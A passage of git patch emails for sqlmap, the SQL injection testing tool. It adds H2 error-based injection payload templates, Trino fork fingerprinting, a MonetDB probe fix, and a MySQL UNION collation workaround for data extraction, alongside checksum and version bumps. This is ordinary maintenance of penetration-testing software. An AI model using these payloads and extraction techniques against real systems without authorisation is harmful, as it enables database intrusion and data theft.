lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -390,7 +390,7 @@ e9ef99b83542121ac4489526ecb90def4bba9ec62a0dd990bb39d7db387c5ff6 plugins/dbms/m 8a9d30546e3e96295b59bb5e53b352d039f785e0fa8ae19b2073083f1555f45b plugins/dbms/monetdb/connector.py ba04af3683b9a6e29e8fa6b3bf436a57e59435cebb042414f2df82018d91599e plugins/dbms/monetdb/enumeration.py 672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/monetdb/filesystem.py -5fd3a9eb6210c32395e025e327bfeb24fd18f0cc7da554be526c7f2ae9af3f7d plugins/dbms/monetdb/fingerprint.py +7188530754349b765b9842ad8f416766fd7035f131ad6444156ae0de45efc8fe plugins/dbms/monetdb/fingerprint.py 05dc581f0fbed20030200e5c7bd45a971ad4e910c6502ad02cc6c26fd5937003 plugins/dbms/monetdb/__init__.py 78f1ff4b82fd4af50e1fbdb81539862f1c31258cda212b39f4a8501960f1b95e plugins/dbms/monetdb/syntax.py 236fd244f0bbc3976b389429a8176feda6c243267564c2a0eff6fc2458c1b3f9 plugins/dbms/monetdb/takeover.py @@ -423,9 +423,9 @@ bdb13225f822227c32051a296918b3ed423a0644ce0c962db13a0dc0e9636395 plugins/dbms/p 4fce63dd766a35b7273351df2de706c37a0392479578705853b4333c119f2270 plugins/dbms/postgresql/syntax.py d3cb1ebaf594b30cebddd16a8dcf6cf33a3536c3da4caf7e4b9d8c910288eb8d plugins/dbms/postgresql/takeover.py 9a63ef08407c1f4686679343e733bfc124d287ebadf747db5ecbc3abed694462 plugins/dbms/presto/connector.py -23e2fb4fc9c6b84d7503986f311da9c3a9c6eb261433f80be1e854144ebb15b4 plugins/dbms/presto/enumeration.py +1c966d62ce361cf681202be88d839a9bd2677b1444e6998778151ab27647199e plugins/dbms/presto/enumeration.py 874532c0a1a09e2c3d6ea5f4b9e12552ce18ae04a8d13a9f8e099071760f4a73 plugins/dbms/presto/filesystem.py -acd58559efbce9f94683260c45619286b5bb015ff5dbf39b9e8c9b286f34fbe8 plugins/dbms/presto/fingerprint.py +338fbc37ae85f293f07461127dd1465a3ad6bc6bedcdb025ffac35df8bfc8949 plugins/dbms/presto/fingerprint.py 5c104b3ee2e86bf29a8f446d7779470b42d173e87b672c43257289b0d798d2b1 plugins/dbms/presto/__init__.py 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/presto/syntax.py 98e28b754352529381b5cffdc701a1c08158d7e7466764310627280d51f744ba plugins/dbms/presto/takeover.py diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 1e237c9f649..a6ad852cdbd 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -911,6 +911,44 @@ </details> </test> + <test> + <title>H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST) + 2 + 1 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ H2 +
+ + + + H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST) + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ H2 +
+
+ Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause 2 diff --git a/data/xml/queries.xml b/data/xml/queries.xml index a7f0dd452fb..cc26298eada 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1136,9 +1136,9 @@ /> - + - + @@ -1424,7 +1424,7 @@ - + diff --git a/lib/core/enums.py b/lib/core/enums.py index ed3325025da..b96312b9a23 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -114,6 +114,7 @@ class FORK(object): DM8 = "DM8" DORIS = "Doris" STARROCKS = "StarRocks" + TRINO = "Trino" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index dfc4af21049..85bb4610728 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.123" +VERSION = "1.10.6.124" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py index 83c065d18b4..e429a9315bd 100644 --- a/plugins/dbms/monetdb/fingerprint.py +++ b/plugins/dbms/monetdb/fingerprint.py @@ -68,7 +68,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MONETDB logger.info(infoMsg) - result = inject.checkBooleanExpression("isaurl(NULL)=false") + result = inject.checkBooleanExpression("isaurl(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MONETDB diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py index aad5d4bcad5..5843d9e521a 100644 --- a/plugins/dbms/presto/enumeration.py +++ b/plugins/dbms/presto/enumeration.py @@ -9,15 +9,8 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def getBanner(self): - warnMsg = "on Presto it is not possible to get the banner" - logger.warning(warnMsg) - - return None - - def getCurrentDb(self): - warnMsg = "on Presto it is not possible to get name of the current database (schema)" - logger.warning(warnMsg) + # NOTE: getBanner()/getCurrentDb() are intentionally NOT overridden - modern Presto/Trino expose + # version() and current_schema (wired in queries.xml), so the generic implementations work. def isDba(self, user=None): warnMsg = "on Presto it is not possible to test if current user is DBA" diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py index fdc5b7968a6..4b6cd9e8b39 100644 --- a/plugins/dbms/presto/fingerprint.py +++ b/plugins/dbms/presto/fingerprint.py @@ -7,10 +7,14 @@ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import PRESTO_ALIASES from lib.request import inject @@ -21,6 +25,18 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.PRESTO) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + # Trino (the PrestoSQL fork) exposes functions PrestoDB never added (e.g. SOUNDEX), + # so a NULL-based probe on one of them distinguishes the fork from the original. + if inject.checkBooleanExpression("SOUNDEX(NULL) IS NULL"): + fork = FORK.TRINO + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -37,6 +53,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.PRESTO + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -55,6 +73,9 @@ def getFingerprint(self): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): From d5d6fac58d785281cef9482b29d2ae4bf777cd4a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 19 Jun 2026 09:45:25 +0200 Subject: [PATCH 580/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/databases.py | 5 +++++ 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 993c89b1dc2..031f8173272 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -25506d477075d1a33849a4db1058e1fb0cc98100e714c1afa0e7e98cad2f2901 lib/core/settings.py +6931bc15cb35d138913beb2ecca2432821b7d128e95f0db58ab99e32e24259dc lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -480,7 +480,7 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -6d037861acbbabec529e10c50840820ca7b876c29c69310a571b519c3f3b72fa plugins/generic/databases.py +020f0f828121fe03704fdef241364ffd33c5dce1e5d04028bc7375b4563c3696 plugins/generic/databases.py 36b7319ac00f8fe1a33496364a76ff165ea2e66db0150f5366a45135366369ca plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 85bb4610728..12a42e3ee7e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.124" +VERSION = "1.10.6.125" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index bae73904c89..d3eef7ea37f 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1051,6 +1051,11 @@ def getStatements(self): rootQuery = queries[Backend.getIdentifiedDbms()].statements + if "inband" not in rootQuery and "blind" not in rootQuery: + warnMsg = "on %s it is not possible to enumerate the SQL statements" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) + return kb.data.cachedStatements + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = rootQuery.inband.query2 From 824ef464e1823beb165313a0668dc00d2ebd5927 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 19 Jun 2026 12:11:28 +0200 Subject: [PATCH 581/853] Fixing issues with UNION and COLLATE on MySQL --- data/txt/sha256sums.txt | 8 ++++---- lib/core/agent.py | 21 ++++++++++++++++++--- lib/core/settings.py | 5 ++++- lib/techniques/union/test.py | 6 +++--- lib/techniques/union/use.py | 4 ++-- 5 files changed, 31 insertions(+), 13 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 031f8173272..7d63eb0e04a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -1d7ed24bc41b9b73d7483a41c8b9162e95c7c027b1d07e52904c75fcad42fcfd lib/core/agent.py +9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py 12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py f3725380a33c370c263516863d8e2bf3582f0ea6e37d45df8c176aa62ade19a1 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6931bc15cb35d138913beb2ecca2432821b7d128e95f0db58ab99e32e24259dc lib/core/settings.py +317075c57f444f34b9f4b913a0754b3ffc48e477593f0ecd29ad462ccecd6401 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -240,8 +240,8 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py -30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py -0a9d884d95734986a628e5846ed85c985a96534fb0c56f9d7042a89377801bc2 lib/techniques/union/use.py +ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py +9d916ad5d61f9ce467a5ff4b416e61b8ad76d1d950fdd06f23f70a6f7f941a1c lib/techniques/union/use.py aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/core/agent.py b/lib/core/agent.py index 67b5d885762..bc0d1ed018c 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -51,6 +51,7 @@ from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import GENERIC_SQL_COMMENT_MARKER from lib.core.settings import INFERENCE_MARKER +from lib.core.settings import MYSQL_UNION_VALUE_CAST from lib.core.settings import NULL from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import REPLACEMENT_MARKER @@ -825,7 +826,7 @@ def concatQuery(self, query, unpack=True): return concatenatedQuery - def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): + def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None, collate=False): """ Take in input a query (pseudo query) string and return its processed UNION ALL SELECT query. @@ -867,10 +868,21 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, if query.startswith("SELECT "): query = query[len("SELECT "):] + # On MySQL 8+ the retrieved value (connection collation) cannot be merged in a + # UNION column with a table column of a different collation (e.g. utf8mb4_0900_ai_ci), + # raising "Illegal mix of collations". Normalizing the charset and forcing an explicit + # collation (highest coercibility) wins the merge (Note: skipped for NULL/numeric values). + # Note: requires the utf8mb4 charset (MySQL >= 5.5.3) used in MYSQL_UNION_VALUE_CAST; on + # older versions there is no such collation clash to begin with (unknown version => assumed recent). + collateField = collate and Backend.isDbms(DBMS.MYSQL) and isDBMSVersionAtLeast('5.5.3') is not False + + def _collate(value): + return MYSQL_UNION_VALUE_CAST % value if collateField and value and value != NULL and not value.isdigit() else value + unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix) if limited: - unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) + unionQuery += ','.join(char if _ != position else _collate('(SELECT %s)' % query) for _ in xrange(0, count)) unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) @@ -900,6 +912,9 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, else: infoFile = None + if not infoFile: + query = _collate(query) + for element in xrange(0, count): if element > 0: unionQuery += ',' @@ -928,7 +943,7 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, unionQuery += ',' if element == position: - unionQuery += multipleUnions + unionQuery += _collate(multipleUnions) else: unionQuery += char diff --git a/lib/core/settings.py b/lib/core/settings.py index 12a42e3ee7e..d01875d0906 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.125" +VERSION = "1.10.6.126" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -511,6 +511,9 @@ # Maximum number of threads (avoiding connection issues and/or DoS) MAX_NUMBER_OF_THREADS = 10 +# Wrapper applied to MySQL UNION-based retrieval values to neutralize "Illegal mix of collations" errors (e.g. utf8mb4_0900_ai_ci tables vs a utf8mb4_general_ci connection on MySQL 8+). CONVERT normalizes the (possibly binary) charset to utf8mb4 and the explicit COLLATE then wins the UNION column merge (highest coercibility) +MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin" + # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index d5e8a44df05..0a8facf784c 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -235,7 +235,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO randQueryUnescaped = unescaper.escape(randQueryProcessed) # Forge the union SQL injection request - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request @@ -255,7 +255,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) # Confirm that it is a full union SQL injection - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request @@ -268,7 +268,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index bb008579feb..46f06876108 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -84,12 +84,12 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): except IndexError: pass - query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited, collate=True) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: injExpression = unescaper.escape(expression) where = vector[6] - query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False, collate=True) payload = agent.payload(newValue=query, where=where) From 2aed8d1513e11b9973c4f3f911cd935b51886cb3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 19 Jun 2026 23:59:52 +0200 Subject: [PATCH 582/853] Minor doctest fix --- data/txt/sha256sums.txt | 24 ++++++++++++------------ lib/core/common.py | 2 +- lib/core/settings.py | 8 +++++++- 3 files changed, 20 insertions(+), 14 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 7d63eb0e04a..86ca69ea72b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -78,13 +78,13 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml 0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml -d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml -2da9159c066c66b47767f66e8c46ed94394f9511940c32e6adf454126197443b data/xml/payloads/error_based.xml +43910a73d7de51e3541bfe4bdffe8923c73b0fbd74300912d4cec95d4f728673 data/xml/payloads/boolean_blind.xml +a65b6e29389b1543f54da6aced3ca4abdcd68cb626ceefc61fb9985bda692251 data/xml/payloads/error_based.xml 516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -f01093d5a1ff6a58653e7058a93e15801d9446f1f2c5de5b5d1054f17dd1ad44 data/xml/queries.xml +ff368554d3320ffa50751e32c903aeec21221f351f3efa573a211081947f69e8 data/xml/queries.xml e043101194219a2e4c8bc352f0d3a04b87e1c28b1bcd6c13f6d5d1c9e260b653 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py 12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py -f3725380a33c370c263516863d8e2bf3582f0ea6e37d45df8c176aa62ade19a1 lib/core/common.py +c6dee43458e55d4e20bbd04a63efd4cbe839f3fce1d60de2673d85462d0718bd lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -181,26 +181,26 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -96d54c79a2982709ba5639bc997c76db700e85c7fdcb474cedb490132f7ae5ad lib/core/optiondict.py -8084a0efe82bf3d3ff98f988bc6227d72ca015ac665afee9a8afc09afac2be52 lib/core/option.py +31690232f12d0590c8cbea7245ded86875f63c078da99673af4ab7451f0fffcb lib/core/optiondict.py +21b6868afc4570c9d2265427b7ea5fe8ac2e062ead3760ca3494208fde5f5e52 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -317075c57f444f34b9f4b913a0754b3ffc48e477593f0ecd29ad462ccecd6401 lib/core/settings.py +a79daf5b4b19e731256b73f6797237f8948f5c8aa5683879f293783521c64f6b lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -a43da1fc59cbc48698db34dc3516967910c84ef5945cf5423c2954acd54fe898 lib/core/testing.py +2eb9e51bf6ecdc0f4aab4e0b4e2ba14bc5edaa04dbc6b9588e4ece6fc8483f3d lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -8c18ec0dc54dd313033408d7f55556d2068dbbafd9dd92a759d770843a680fd9 lib/parse/cmdline.py +18845fd56a87e02cdd847526185e500b6cb1f26a272c368b862217466b98db16 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -231,7 +231,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 